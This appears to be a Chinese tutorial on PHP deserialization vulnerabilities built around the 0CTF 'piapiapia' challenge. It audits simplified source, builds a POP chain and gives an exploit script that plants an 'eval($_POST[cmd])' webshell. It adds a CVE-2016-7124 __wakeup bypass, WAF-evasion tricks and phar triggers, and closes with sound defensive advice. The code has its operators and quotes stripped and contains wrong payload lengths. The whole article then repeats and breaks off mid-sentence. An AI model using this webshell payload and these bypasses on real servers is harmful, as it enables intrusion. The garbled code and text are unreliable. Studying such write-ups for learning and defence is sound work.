1. 项目概述从一道CTF题看PHP反序列化的攻防实战最近在复盘一些经典的CTF Web题目0CTF的“piapiapia”这道题给我留下了很深的印象。它不像那些单纯考察漏洞利用的题目而是把PHP反序列化漏洞的成因、利用链的构造以及开发者可能采取的防御措施都巧妙地融合在了一个看似简单的代码审计场景里。对于刚入门Web安全或者想深入理解反序列化漏洞的朋友来说这道题是一个绝佳的学习样本。简单来说PHP反序列化漏洞的核心就是程序在将用户可控的、序列化后的字符串数据重新还原成PHP对象或数据结构的过程中如果这个还原过程触发了对象中某些特定的“魔法方法”Magic Method攻击者就有可能利用这些方法执行任意代码或进行危险操作。这道“piapiapia”题目就清晰地展示了从源代码审计发现漏洞点到一步步构造利用链POP Chain最终达成任意文件读取或命令执行的全过程。更重要的是它还会引导你去思考开发者加了wakeup()方法试图修复为什么还是被绕过了这背后涉及对PHP本身特性的深入理解。接下来我将以这道题为引子带你彻底搞懂PHP反序列化。我们会先拆解题目的代码逻辑理解漏洞的根源然后手把手教你如何构造利用链最后我们会深入探讨几种常见的、有效的防御方案以及为什么有些看似“修复”的代码实则留下了新的隐患。无论你是CTF爱好者还是正在从事PHP开发的工程师相信这些实战经验都能让你有所收获。2. 核心漏洞原理与PHP魔法方法解析要理解反序列化漏洞必须先搞清楚序列化与反序列化在PHP里到底是怎么一回事以及那几个关键的“魔法方法”扮演了什么角色。2.1 序列化与反序列化数据的“打包”与“拆包”想象一下你要把一个复杂的乐高模型一个PHP对象通过网络发给朋友。直接寄零件过去肯定不行对方不知道怎么拼。你需要一份详细的“组装说明书”上面写着每块积木的类型、颜色、位置以及它们之间的连接关系。PHP的serialize()函数干的就是这个“写说明书”的活它把一个变量尤其是对象的状态转换成一个可存储或传输的字符串字节流。这个字符串包含了对象的类名、属性及其值。反之unserialize()函数就是你的朋友拿到“说明书”后按照说明一步步把零件重新拼成原来那个乐高模型的过程。这个过程就是反序列化。问题就出在“重新拼装”这一步。如果这份“说明书”序列化字符串是攻击者伪造的并且里面指示了要拼装一个带有特殊机关的模型定义了危险魔法方法的类那么拼装过程本身就可能触发机关造成破坏。2.2 关键的“魔法方法”PHP类中的魔法方法是以双下划线__开头的方法它们会在特定时机被自动调用。在反序列化漏洞利用中以下几个方法是重中之重__wakeup(): 当一个对象被unserialize()反序列化时立即自动调用。开发者常在这里进行一些初始化操作比如重新建立数据库连接。攻击者需要关注它是否会重置或过滤某些关键属性从而阻碍利用。__destruct(): 当一个对象的所有引用都被删除或脚本执行结束时该对象的析构函数会被调用。这是最常用的漏洞利用入口点之一因为反序列化产生的对象在生命周期结束后必然会调用它。__toString(): 当一个对象被当作字符串处理时例如echo $obj;或$str (string)$obj;自动调用。利用链经常需要通过它把对象流转到字符串处理函数中。__get()/__set(): 当访问或设置一个对象不可访问如private/protected或不存在的属性时被调用。可用于触发或传递属性。__call(): 当调用一个对象不可访问的方法时被调用。这为利用链提供了极大的灵活性。2.3 漏洞产生的典型场景漏洞产生的根本条件是程序接受了用户输入并将其直接传递给unserialize()函数且项目中存在定义了上述魔法方法的类并且这些类的代码在反序列化时可被访问。一个典型的危险代码片段如下$data $_GET[data]; // 用户可控输入 $obj unserialize($data); // 危险操作如果攻击者能够控制$data的内容他就可以精心构造一个序列化字符串让unserialize()还原出他想要的任何类对象并触发其魔法方法从而形成一条从“入口点”如__destruct到“危险函数”如system()、eval()、file_get_contents()的调用链即POP链Property-Oriented Programming。注意仅仅有用户输入传入unserialize()还不够项目中必须存在可利用的类。因此代码审计和寻找“POP Gadget”可利用的代码片段是漏洞利用的关键。3. 0CTF “piapiapia” 题目深度代码审计现在让我们进入“piapiapia”这道题的世界。假设我们拿到的源码结构如下已做简化与脱敏index.php - 主页包含登录、注册入口 profile.php - 查看和修改用户信息 upload.php - 头像上传功能 class.php - 定义了核心的User和File类 config.php - 配置文件我们的目标是拿到网站服务器上的一个特定文件比如/flag的内容。审计通常从功能点和文件包含关系开始。3.1 核心类定义分析 (class.php)首先看class.php这里定义了程序的“骨骼”。class User { public $username; public $password; public $profile; private $photo; public function __construct($username, $password) { $this-username $username; $this-password md5($password); $this-profile new Profile(); $this-photo new File(); } public function __destruct() { $this-photo-upload(); // 析构时会上传头像文件 } public function __wakeup() { // 开发者试图修复漏洞清空profile属性 if (isset($this-profile)) { unset($this-profile); } } } class Profile { public $name; public $phone; public $email; public $intro; public function __toString() { // 当Profile对象被当作字符串时会序列化自身并返回 return serialize($this); } } class File { public $filename; public $content; public function upload() { // 危险操作将content内容写入filename指定的文件 file_put_contents($this-filename, $this-content); } }审计发现User类在__destruct()时会调用$this-photo-upload()。而File::upload()方法使用了file_put_contents()这是一个危险函数可以写文件。如果我们能控制$photo对象的filename和content属性就能实现任意文件写入。User类有一个__wakeup()方法它会unset($this-profile)。这看起来像是一个防御措施试图在反序列化时清除可能被污染的profile属性。Profile类有一个__toString()方法当它被当作字符串时会返回自身的序列化字符串。3.2 漏洞触发点寻找接下来我们需要找到一个地方能够将我们可控的数据传递到unserialize()。审计profile.php// profile.php session_start(); require_once(class.php); if (!isset($_SESSION[user])) { die(请先登录); } $user unserialize($_SESSION[user]); // 漏洞点从Session中反序列化用户对象 if ($_SERVER[REQUEST_METHOD] POST) { // 更新用户信息 $profile_data $_POST[profile]; // 用户输入的简介等信息 $user-profile-intro $profile_data; // 赋值给profile对象的intro属性 $_SESSION[user] serialize($user); // 将更新后的对象序列化存回Session echo 更新成功; } else { // 显示用户信息 echo htmlspecialchars($user-profile-intro); }关键发现程序从$_SESSION[user]中读取数据并直接进行unserialize()。$_SESSION数据虽然存储在服务器端但其内容最初来源于客户端例如通过登录、注册等功能序列化后存入。如果我们可以控制存入Session的序列化字符串就能触发漏洞。在更新信息时程序将$_POST[profile]直接赋值给了$user-profile-intro。注意这里的$user-profile是一个Profile对象而intro是其属性。3.3 利用链POP Chain构思现在我们把找到的碎片拼起来构思攻击链入口点Sink我们的目标是利用File::upload()写文件。这需要控制一个File对象的filename和content。连接点User::__destruct()会自动调用$this-photo-upload()。所以我们需要让$user-photo成为一个我们可控的File对象。挑战User::__wakeup()会unset($this-profile)这可能会破坏我们通过profile属性传递的某些数据。但仔细看它unset的是profile不是photo所以我们的photo属性在反序列化后依然存在。另一个可能性观察Profile::__toString()。如果有什么地方把Profile对象当字符串用了呢在PHP中unset()一个属性并不会立即销毁该属性指向的对象如果还有其他引用的话。但更重要的是__toString可能会在对象被echo、拼接字符串等操作时触发。我们需要在代码中寻找触发__toString的路径。实际上在更完整的题目源码中可能会发现在upload.php或其它地方存在类似echo $user-profile;这样的代码或者在对用户信息进行过滤、序列化存储时隐式调用了__toString。一旦__toString被触发它返回的是serialize($this)即Profile对象自身的序列化字符串。如果这个字符串又被其他地方错误地解析可能形成二次反序列化从而绕过__wakeup的限制因为__wakeup只在第一次反序列化时触发。3.4 构造利用链假设我们找到了触发Profile::__toString()的路径。那么一个完整的利用链可以这样构造我们注册一个用户此时系统会创建一个User对象其photo属性是一个空的File对象。我们通过profile.php的更新功能向$user-profile-intro注入一个精心构造的序列化字符串。这个字符串实际上是一个File对象的序列化数据其中filename设置为/var/www/html/shell.phpWeb可访问路径content设置为PHP木马代码。但是intro是Profile对象的一个字符串属性直接存入序列化的File对象字符串可能不会被执行。这时我们需要利用__toString。我们设法让程序去读取或处理$user-profile比如在某个页面显示完整信息时触发Profile::__toString()方法。这个方法返回serialize($this)即序列化了整个Profile对象包括我们注入到intro属性中的那个“序列化字符串”。关键的一步如果程序在接收到这个serialize($this)的字符串后没有妥善处理而是错误地将其中的intro值即我们注入的File对象序列化字符串再次进行unserialize()那么就会还原出我们想要的File对象。这个新还原的File对象被赋值给了某个变量比如$user-photo。当脚本结束或该对象被销毁时其__destruct()如果有或相关的上传逻辑会被触发最终调用upload()方法将我们的木马写入服务器。实操心得在真实的CTF题目或代码审计中__toString触发点往往比较隐蔽需要仔细追踪所有对可疑对象的操作。有时需要结合PHP的字符串处理函数如str_replace、preg_replace等的特性来触发。这道题的精妙之处在于它利用__wakeup进行防御却又通过__toString和可能的字符串处理漏洞制造了绕过机会。4. 手把手构造与利用Payload理解了原理和链条后我们来动手构造具体的攻击Payload。我们假设最终的攻击目标是通过反序列化让一个File对象的filename为./config.php读取源码中的数据库密码或flag路径content为空因为我们只想读文件file_put_contents在文件已存在时会覆盖但这里我们假设有别的利用方式比如通过__toString和file_get_contents的组合或者题目逻辑是写content到filename然后包含。实际上更常见的利用是写入一个Webshell。为了简化我们假设找到了一个直接触发User::__destruct()并调用$this-photo-upload()的路径并且upload()方法就是file_put_contents($this-filename, $this-content)。4.1 编写攻击脚本我们需要先本地序列化一个恶意的User对象。// exploit.php class User { public $username; public $password; public $profile; private $photo; // 注意由于$photo是private属性序列化时格式特殊需要与类定义上下文匹配。 // 我们假设攻击脚本和源码在同一环境或者我们精确控制了属性名。 } class File { public $filename; public $content; } $malicious_file new File(); $malicious_file-filename /var/www/html/poc.php; // 目标写入路径 $malicious_file-content ?php eval($_POST[cmd]);?; // Webshell内容 $malicious_user new User(attacker, password); // 利用Reflection或直接赋值来设置private属性$photo $reflection new ReflectionClass($malicious_user); $photo_property $reflection-getProperty(photo); $photo_property-setAccessible(true); $photo_property-setValue($malicious_user, $malicious_file); // 清空profile避免__wakeup的unset干扰虽然它unset的是profile但这里我们直接置null $malicious_user-profile null; echo serialize($malicious_user);运行这个脚本你会得到一个序列化字符串。它的结构大致如下具体格式因PHP版本和属性修饰符而异O:4:User:4:{s:8:username;s:8:attacker;s:8:password;s:32:...;s:7:profile;N;s:11:\0User\0photo;O:4:File:2:{s:8:filename;s:25:/var/www/html/poc.php;s:7:content;s:28:?php eval($_POST[\cmd\]);?;}}关键点注意private属性photo在序列化字符串中的表示是\0User\0photo\0是空字符。这在构造Payload时必须完全正确否则反序列化时属性将无法正确还原。4.2 绕过 __wakeup() 防御题目中的__wakeup()会unset($this-profile)。我们的Payload里已经将profile设置为null了所以unset没影响。但有时__wakeup会进行更严格的过滤比如检查属性值、重新初始化等。一个经典的绕过技巧是利用PHP版本特性CVE-2016-7124。在PHP 5.6.25之前和7.0.10之前如果序列化字符串中对象的属性数量大于实际类定义的属性数量__wakeup()方法将不会被执行。例如我们定义的User类有4个属性username,password,profile,photo。如果我们在序列化字符串中将对象计数字段O:4:User:4:中的最后一个4改为一个更大的数比如5那么在受影响的PHP版本上__wakeup()就会被绕过。O:4:User:5:{...} // 将属性计数从4改为5重要提示这个CVE在较新的PHP版本中已修复。但在CTF或一些老旧系统中它仍然是需要尝试的绕过手段。在“piapiapia”这道题中可能不需要这个技巧因为__wakeup只是unset了profile而我们构造的利用链可能根本不依赖profile属性。4.3 注入与触发构造好Payload后我们需要将其注入到程序中。根据审计漏洞点在unserialize($_SESSION[user])。Session数据通常通过Cookie中的PHPSESSID来关联。我们需要找到一个将数据存入$_SESSION[user]的地方。常见入口是登录或注册功能。查看index.php或register.php// 假设的注册逻辑 $user new User($_POST[username], $_POST[password]); // ... 一些验证 ... $_SESSION[user] serialize($user); // 序列化后存入session如果我们能控制username或password使其包含特殊字符在序列化时可能破坏序列化字符串结构但通常这里会有过滤。更直接的方式是寻找程序其他将序列化数据存入Session或文件、数据库的地方。在“piapiapia”中更可能的入口是profile.php的更新逻辑。它从Session反序列化得到$user修改其profile-intro后又serialize($user)存回Session。如果我们能控制$_POST[profile]并使其不是一个普通字符串而是一个经过精心构造的、能触发后续漏洞的Payload比如包含引号、特殊字符以影响序列化字符串结构就有可能污染Session。一种高级技巧是字符串逃逸Serialization String Escape。如果程序在序列化前对用户输入进行了过滤例如用str_replace过滤某些关键词可能会改变字符串的长度导致序列化字符串的结构被破坏从而使后续的反序列化解析出错将用户输入的一部分“逃逸”出来被解析为新的对象属性。这需要精确计算长度。在“piapiapia”题目中很可能就存在这样的过滤逻辑需要我们通过审计发现过滤规则然后调整Payload的长度字段s:长度:值中的长度使得过滤后的字符串仍然是一个有效的序列化字符串并且包含了我们注入的恶意对象。注意事项在实际操作中你需要使用Burp Suite、Postman等工具拦截修改HTTP请求将构造好的序列化字符串作为参数如profile提交。由于序列化字符串包含大量特殊字符和空字符务必进行正确的URL编码application/x-www-form-urlencoded或直接放在POST body中注意Content-Type。如果通过Cookie注入也需要正确编码。5. 从攻击视角看PHP反序列化的有效防御理解了攻击手法我们才能更好地构建防御。防御PHP反序列化漏洞的核心思想是绝不信任任何来自外部的序列化数据。5.1 最佳实践避免使用 unserialize()最彻底、最有效的防御就是完全不使用unserialize()函数来反序列化用户可控的数据。对于需要持久化或传输的对象数据考虑以下替代方案JSON使用json_encode()和json_decode()。JSON格式简单、安全且被几乎所有编程语言支持。缺点是只能表示基本数据类型不能直接表示PHP对象但可以通过数组转换。数据库将对象的属性拆解后存入数据库字段需要时重新实例化对象并赋值。专门的序列化格式如Protocol Buffers、MessagePack等它们通常有更严格的结构定义和解析库安全性高于PHP原生序列化。5.2 严格校验与白名单如果业务上必须使用unserialize()例如缓存复杂对象那么必须实施严格的校验完整性校验在序列化数据存储时附带一个由密钥和序列化数据计算出的HMAC哈希消息认证码。在反序列化前先验证HMAC确保数据未被篡改。$secret_key your-secret-key; $serialized_data $_SESSION[object_data]; $stored_mac $_SESSION[object_mac]; $calculated_mac hash_hmac(sha256, $serialized_data, $secret_key); if (hash_equals($calculated_mac, $stored_mac)) { $obj unserialize($serialized_data); } else { die(数据已被篡改); }类白名单使用PHP的allowed_classes选项PHP 7.0限制反序列化时只能还原指定的类。$safe_classes [SafeClassA, SafeClassB]; $obj unserialize($user_input, [allowed_classes $safe_classes]);这样即使攻击者注入了其他类的序列化数据也会被还原为__PHP_Incomplete_Class对象其魔法方法不会被调用。5.3 安全编码与魔法方法设计在设计可能被序列化的类时需谨慎使用魔法方法在__wakeup()和__destruct()中避免关键操作尽量不要在这些自动调用的方法中执行文件操作、数据库查询、系统命令等。如果必须执行应确保对象状态是安全、经过验证的。使用__sleep()控制序列化字段__sleep()方法在serialize()时被调用返回一个需要被序列化的属性名数组。你可以利用它排除敏感或不需要的属性。public function __sleep() { // 只序列化username和email排除password等敏感信息 return [username, email]; }对属性进行类型和范围检查在__wakeup()或构造函数中对反序列化后对象的属性进行严格的类型、取值范围校验。5.4 题目中“失败”的防御分析回顾“piapiapia”题目中的__wakeup()防御public function __wakeup() { if (isset($this-profile)) { unset($this-profile); } }这个防御的意图是清除可能被污染的profile属性。但它存在几个问题目标错误攻击链可能根本不依赖于profile属性如我们构造的利用链依赖的是photo。时机问题unset发生在反序列化之后。如果攻击Payload在反序列化过程中通过profile属性触发了其他操作比如在profile对象的__destruct中做手脚那么unset为时已晚。无法防止字符串逃逸等高级攻击如果漏洞点是通过字符串逃逸污染了序列化字符串本身__wakeup里的逻辑可能因为对象结构已被破坏而无法正常执行。因此这种在魔法方法内部“打补丁”式的防御是脆弱且不彻底的。它违背了“不信任输入”的根本原则。6. 实战中常见问题与排查技巧在真实环境审计或CTF比赛中遇到反序列化漏洞时你可能会碰到以下问题6.1 如何快速寻找反序列化入口点全局搜索在源码中搜索unserialize(、maybe_unserialize(WordPress等框架函数。关注输入点检查$_GET、$_POST、$_COOKIE、$_REQUEST、$_SESSION、$_SERVER某些字段如HTTP_REFERER、文件内容、数据库读取的数据是否直接或间接传入了unserialize()。关注缓存和Session很多框架会将对象序列化后存入缓存Redis、Memcached或Session。如果缓存键或Session ID可控或者缓存数据能被污染也可能形成入口。6.2 如何挖掘可利用的类POP Gadget搜索魔法方法在源码中全局搜索__destruct、__wakeup、__toString、__call、__get、__set、__invoke等。分析框架和库现代PHP应用大量使用Composer依赖。这些第三方库中可能包含已知的、可利用的POP链例如Monolog、Guzzle、Laravel/Symfony组件中的链。了解常见框架的POP链至关重要。工具辅助可以使用静态分析工具如phpast、rips等或IDE的搜索功能梳理类的继承关系和方法的调用链路。6.3 构造Payload时需要注意什么属性修饰符public、protected、private属性在序列化字符串中的表示方式不同protected会在属性名前加\0*\0private会加\0类名\0。必须与目标环境中的类定义完全匹配。字符编码与转义序列化字符串中的字符串值都是带长度的。如果Payload中包含引号、反斜杠、空字符等需要确保长度计算准确。在HTTP传输时要做好URL编码。PHP版本差异不同PHP版本在序列化格式、魔法方法行为、漏洞修复如CVE-2016-7124上有差异。测试环境应尽量与目标环境一致。6.4 遇到过滤或WAF怎么办识别过滤规则通过输入测试判断是黑名单过滤过滤system、eval等函数名还是字符转义如addslashes、字符串替换如str_replace(dangerous, , $input)。利用PHP特性绕过字符串逃逸如前所述利用过滤函数改变字符串长度破坏原有结构注入新对象。利用十六进制或Unicode编码某些WAF可能检测纯文本的函数名但\x73\x79\x73\x74\x65\x6d就是system的十六进制表示在PHP字符串中可能被解析。动态函数调用$func sy . stem; $func(whoami);或call_user_func(system, whoami);。寻找替代的POP链如果一条链的关键函数被过滤尝试寻找其他魔法方法组合最终调用到未被过滤的危险函数。6.5 调试与验证本地搭建环境尽可能在本地复现目标代码环境相同的PHP版本、扩展便于调试Payload。打印与日志在可疑位置添加var_dump()或error_log()观察对象反序列化后的状态、属性值以及魔法方法的调用顺序。使用 Phar 反序列化如果直接的反序列化入口被堵死可以关注phar://包装器。将恶意序列化数据放入Phar文件的元数据中然后通过文件操作函数如file_get_contents(phar://malicious.phar/test.txt)触发反序列化。这是一个非常强大的备用攻击向量。排查反序列化漏洞是一个需要耐心和细心的过程它结合了代码审计、逻辑推理和对PHP语言特性的深入理解。从像“piapiapia”这样的经典题目入手逐步积累对各类魔法方法组合和框架内部机制的认知是提升这方面能力的最佳途径。
PHP反序列化漏洞实战：从CTF题看攻防原理与防御
1. 项目概述从一道CTF题看PHP反序列化的攻防实战最近在复盘一些经典的CTF Web题目0CTF的“piapiapia”这道题给我留下了很深的印象。它不像那些单纯考察漏洞利用的题目而是把PHP反序列化漏洞的成因、利用链的构造以及开发者可能采取的防御措施都巧妙地融合在了一个看似简单的代码审计场景里。对于刚入门Web安全或者想深入理解反序列化漏洞的朋友来说这道题是一个绝佳的学习样本。简单来说PHP反序列化漏洞的核心就是程序在将用户可控的、序列化后的字符串数据重新还原成PHP对象或数据结构的过程中如果这个还原过程触发了对象中某些特定的“魔法方法”Magic Method攻击者就有可能利用这些方法执行任意代码或进行危险操作。这道“piapiapia”题目就清晰地展示了从源代码审计发现漏洞点到一步步构造利用链POP Chain最终达成任意文件读取或命令执行的全过程。更重要的是它还会引导你去思考开发者加了wakeup()方法试图修复为什么还是被绕过了这背后涉及对PHP本身特性的深入理解。接下来我将以这道题为引子带你彻底搞懂PHP反序列化。我们会先拆解题目的代码逻辑理解漏洞的根源然后手把手教你如何构造利用链最后我们会深入探讨几种常见的、有效的防御方案以及为什么有些看似“修复”的代码实则留下了新的隐患。无论你是CTF爱好者还是正在从事PHP开发的工程师相信这些实战经验都能让你有所收获。2. 核心漏洞原理与PHP魔法方法解析要理解反序列化漏洞必须先搞清楚序列化与反序列化在PHP里到底是怎么一回事以及那几个关键的“魔法方法”扮演了什么角色。2.1 序列化与反序列化数据的“打包”与“拆包”想象一下你要把一个复杂的乐高模型一个PHP对象通过网络发给朋友。直接寄零件过去肯定不行对方不知道怎么拼。你需要一份详细的“组装说明书”上面写着每块积木的类型、颜色、位置以及它们之间的连接关系。PHP的serialize()函数干的就是这个“写说明书”的活它把一个变量尤其是对象的状态转换成一个可存储或传输的字符串字节流。这个字符串包含了对象的类名、属性及其值。反之unserialize()函数就是你的朋友拿到“说明书”后按照说明一步步把零件重新拼成原来那个乐高模型的过程。这个过程就是反序列化。问题就出在“重新拼装”这一步。如果这份“说明书”序列化字符串是攻击者伪造的并且里面指示了要拼装一个带有特殊机关的模型定义了危险魔法方法的类那么拼装过程本身就可能触发机关造成破坏。2.2 关键的“魔法方法”PHP类中的魔法方法是以双下划线__开头的方法它们会在特定时机被自动调用。在反序列化漏洞利用中以下几个方法是重中之重__wakeup(): 当一个对象被unserialize()反序列化时立即自动调用。开发者常在这里进行一些初始化操作比如重新建立数据库连接。攻击者需要关注它是否会重置或过滤某些关键属性从而阻碍利用。__destruct(): 当一个对象的所有引用都被删除或脚本执行结束时该对象的析构函数会被调用。这是最常用的漏洞利用入口点之一因为反序列化产生的对象在生命周期结束后必然会调用它。__toString(): 当一个对象被当作字符串处理时例如echo $obj;或$str (string)$obj;自动调用。利用链经常需要通过它把对象流转到字符串处理函数中。__get()/__set(): 当访问或设置一个对象不可访问如private/protected或不存在的属性时被调用。可用于触发或传递属性。__call(): 当调用一个对象不可访问的方法时被调用。这为利用链提供了极大的灵活性。2.3 漏洞产生的典型场景漏洞产生的根本条件是程序接受了用户输入并将其直接传递给unserialize()函数且项目中存在定义了上述魔法方法的类并且这些类的代码在反序列化时可被访问。一个典型的危险代码片段如下$data $_GET[data]; // 用户可控输入 $obj unserialize($data); // 危险操作如果攻击者能够控制$data的内容他就可以精心构造一个序列化字符串让unserialize()还原出他想要的任何类对象并触发其魔法方法从而形成一条从“入口点”如__destruct到“危险函数”如system()、eval()、file_get_contents()的调用链即POP链Property-Oriented Programming。注意仅仅有用户输入传入unserialize()还不够项目中必须存在可利用的类。因此代码审计和寻找“POP Gadget”可利用的代码片段是漏洞利用的关键。3. 0CTF “piapiapia” 题目深度代码审计现在让我们进入“piapiapia”这道题的世界。假设我们拿到的源码结构如下已做简化与脱敏index.php - 主页包含登录、注册入口 profile.php - 查看和修改用户信息 upload.php - 头像上传功能 class.php - 定义了核心的User和File类 config.php - 配置文件我们的目标是拿到网站服务器上的一个特定文件比如/flag的内容。审计通常从功能点和文件包含关系开始。3.1 核心类定义分析 (class.php)首先看class.php这里定义了程序的“骨骼”。class User { public $username; public $password; public $profile; private $photo; public function __construct($username, $password) { $this-username $username; $this-password md5($password); $this-profile new Profile(); $this-photo new File(); } public function __destruct() { $this-photo-upload(); // 析构时会上传头像文件 } public function __wakeup() { // 开发者试图修复漏洞清空profile属性 if (isset($this-profile)) { unset($this-profile); } } } class Profile { public $name; public $phone; public $email; public $intro; public function __toString() { // 当Profile对象被当作字符串时会序列化自身并返回 return serialize($this); } } class File { public $filename; public $content; public function upload() { // 危险操作将content内容写入filename指定的文件 file_put_contents($this-filename, $this-content); } }审计发现User类在__destruct()时会调用$this-photo-upload()。而File::upload()方法使用了file_put_contents()这是一个危险函数可以写文件。如果我们能控制$photo对象的filename和content属性就能实现任意文件写入。User类有一个__wakeup()方法它会unset($this-profile)。这看起来像是一个防御措施试图在反序列化时清除可能被污染的profile属性。Profile类有一个__toString()方法当它被当作字符串时会返回自身的序列化字符串。3.2 漏洞触发点寻找接下来我们需要找到一个地方能够将我们可控的数据传递到unserialize()。审计profile.php// profile.php session_start(); require_once(class.php); if (!isset($_SESSION[user])) { die(请先登录); } $user unserialize($_SESSION[user]); // 漏洞点从Session中反序列化用户对象 if ($_SERVER[REQUEST_METHOD] POST) { // 更新用户信息 $profile_data $_POST[profile]; // 用户输入的简介等信息 $user-profile-intro $profile_data; // 赋值给profile对象的intro属性 $_SESSION[user] serialize($user); // 将更新后的对象序列化存回Session echo 更新成功; } else { // 显示用户信息 echo htmlspecialchars($user-profile-intro); }关键发现程序从$_SESSION[user]中读取数据并直接进行unserialize()。$_SESSION数据虽然存储在服务器端但其内容最初来源于客户端例如通过登录、注册等功能序列化后存入。如果我们可以控制存入Session的序列化字符串就能触发漏洞。在更新信息时程序将$_POST[profile]直接赋值给了$user-profile-intro。注意这里的$user-profile是一个Profile对象而intro是其属性。3.3 利用链POP Chain构思现在我们把找到的碎片拼起来构思攻击链入口点Sink我们的目标是利用File::upload()写文件。这需要控制一个File对象的filename和content。连接点User::__destruct()会自动调用$this-photo-upload()。所以我们需要让$user-photo成为一个我们可控的File对象。挑战User::__wakeup()会unset($this-profile)这可能会破坏我们通过profile属性传递的某些数据。但仔细看它unset的是profile不是photo所以我们的photo属性在反序列化后依然存在。另一个可能性观察Profile::__toString()。如果有什么地方把Profile对象当字符串用了呢在PHP中unset()一个属性并不会立即销毁该属性指向的对象如果还有其他引用的话。但更重要的是__toString可能会在对象被echo、拼接字符串等操作时触发。我们需要在代码中寻找触发__toString的路径。实际上在更完整的题目源码中可能会发现在upload.php或其它地方存在类似echo $user-profile;这样的代码或者在对用户信息进行过滤、序列化存储时隐式调用了__toString。一旦__toString被触发它返回的是serialize($this)即Profile对象自身的序列化字符串。如果这个字符串又被其他地方错误地解析可能形成二次反序列化从而绕过__wakeup的限制因为__wakeup只在第一次反序列化时触发。3.4 构造利用链假设我们找到了触发Profile::__toString()的路径。那么一个完整的利用链可以这样构造我们注册一个用户此时系统会创建一个User对象其photo属性是一个空的File对象。我们通过profile.php的更新功能向$user-profile-intro注入一个精心构造的序列化字符串。这个字符串实际上是一个File对象的序列化数据其中filename设置为/var/www/html/shell.phpWeb可访问路径content设置为PHP木马代码。但是intro是Profile对象的一个字符串属性直接存入序列化的File对象字符串可能不会被执行。这时我们需要利用__toString。我们设法让程序去读取或处理$user-profile比如在某个页面显示完整信息时触发Profile::__toString()方法。这个方法返回serialize($this)即序列化了整个Profile对象包括我们注入到intro属性中的那个“序列化字符串”。关键的一步如果程序在接收到这个serialize($this)的字符串后没有妥善处理而是错误地将其中的intro值即我们注入的File对象序列化字符串再次进行unserialize()那么就会还原出我们想要的File对象。这个新还原的File对象被赋值给了某个变量比如$user-photo。当脚本结束或该对象被销毁时其__destruct()如果有或相关的上传逻辑会被触发最终调用upload()方法将我们的木马写入服务器。实操心得在真实的CTF题目或代码审计中__toString触发点往往比较隐蔽需要仔细追踪所有对可疑对象的操作。有时需要结合PHP的字符串处理函数如str_replace、preg_replace等的特性来触发。这道题的精妙之处在于它利用__wakeup进行防御却又通过__toString和可能的字符串处理漏洞制造了绕过机会。4. 手把手构造与利用Payload理解了原理和链条后我们来动手构造具体的攻击Payload。我们假设最终的攻击目标是通过反序列化让一个File对象的filename为./config.php读取源码中的数据库密码或flag路径content为空因为我们只想读文件file_put_contents在文件已存在时会覆盖但这里我们假设有别的利用方式比如通过__toString和file_get_contents的组合或者题目逻辑是写content到filename然后包含。实际上更常见的利用是写入一个Webshell。为了简化我们假设找到了一个直接触发User::__destruct()并调用$this-photo-upload()的路径并且upload()方法就是file_put_contents($this-filename, $this-content)。4.1 编写攻击脚本我们需要先本地序列化一个恶意的User对象。// exploit.php class User { public $username; public $password; public $profile; private $photo; // 注意由于$photo是private属性序列化时格式特殊需要与类定义上下文匹配。 // 我们假设攻击脚本和源码在同一环境或者我们精确控制了属性名。 } class File { public $filename; public $content; } $malicious_file new File(); $malicious_file-filename /var/www/html/poc.php; // 目标写入路径 $malicious_file-content ?php eval($_POST[cmd]);?; // Webshell内容 $malicious_user new User(attacker, password); // 利用Reflection或直接赋值来设置private属性$photo $reflection new ReflectionClass($malicious_user); $photo_property $reflection-getProperty(photo); $photo_property-setAccessible(true); $photo_property-setValue($malicious_user, $malicious_file); // 清空profile避免__wakeup的unset干扰虽然它unset的是profile但这里我们直接置null $malicious_user-profile null; echo serialize($malicious_user);运行这个脚本你会得到一个序列化字符串。它的结构大致如下具体格式因PHP版本和属性修饰符而异O:4:User:4:{s:8:username;s:8:attacker;s:8:password;s:32:...;s:7:profile;N;s:11:\0User\0photo;O:4:File:2:{s:8:filename;s:25:/var/www/html/poc.php;s:7:content;s:28:?php eval($_POST[\cmd\]);?;}}关键点注意private属性photo在序列化字符串中的表示是\0User\0photo\0是空字符。这在构造Payload时必须完全正确否则反序列化时属性将无法正确还原。4.2 绕过 __wakeup() 防御题目中的__wakeup()会unset($this-profile)。我们的Payload里已经将profile设置为null了所以unset没影响。但有时__wakeup会进行更严格的过滤比如检查属性值、重新初始化等。一个经典的绕过技巧是利用PHP版本特性CVE-2016-7124。在PHP 5.6.25之前和7.0.10之前如果序列化字符串中对象的属性数量大于实际类定义的属性数量__wakeup()方法将不会被执行。例如我们定义的User类有4个属性username,password,profile,photo。如果我们在序列化字符串中将对象计数字段O:4:User:4:中的最后一个4改为一个更大的数比如5那么在受影响的PHP版本上__wakeup()就会被绕过。O:4:User:5:{...} // 将属性计数从4改为5重要提示这个CVE在较新的PHP版本中已修复。但在CTF或一些老旧系统中它仍然是需要尝试的绕过手段。在“piapiapia”这道题中可能不需要这个技巧因为__wakeup只是unset了profile而我们构造的利用链可能根本不依赖profile属性。4.3 注入与触发构造好Payload后我们需要将其注入到程序中。根据审计漏洞点在unserialize($_SESSION[user])。Session数据通常通过Cookie中的PHPSESSID来关联。我们需要找到一个将数据存入$_SESSION[user]的地方。常见入口是登录或注册功能。查看index.php或register.php// 假设的注册逻辑 $user new User($_POST[username], $_POST[password]); // ... 一些验证 ... $_SESSION[user] serialize($user); // 序列化后存入session如果我们能控制username或password使其包含特殊字符在序列化时可能破坏序列化字符串结构但通常这里会有过滤。更直接的方式是寻找程序其他将序列化数据存入Session或文件、数据库的地方。在“piapiapia”中更可能的入口是profile.php的更新逻辑。它从Session反序列化得到$user修改其profile-intro后又serialize($user)存回Session。如果我们能控制$_POST[profile]并使其不是一个普通字符串而是一个经过精心构造的、能触发后续漏洞的Payload比如包含引号、特殊字符以影响序列化字符串结构就有可能污染Session。一种高级技巧是字符串逃逸Serialization String Escape。如果程序在序列化前对用户输入进行了过滤例如用str_replace过滤某些关键词可能会改变字符串的长度导致序列化字符串的结构被破坏从而使后续的反序列化解析出错将用户输入的一部分“逃逸”出来被解析为新的对象属性。这需要精确计算长度。在“piapiapia”题目中很可能就存在这样的过滤逻辑需要我们通过审计发现过滤规则然后调整Payload的长度字段s:长度:值中的长度使得过滤后的字符串仍然是一个有效的序列化字符串并且包含了我们注入的恶意对象。注意事项在实际操作中你需要使用Burp Suite、Postman等工具拦截修改HTTP请求将构造好的序列化字符串作为参数如profile提交。由于序列化字符串包含大量特殊字符和空字符务必进行正确的URL编码application/x-www-form-urlencoded或直接放在POST 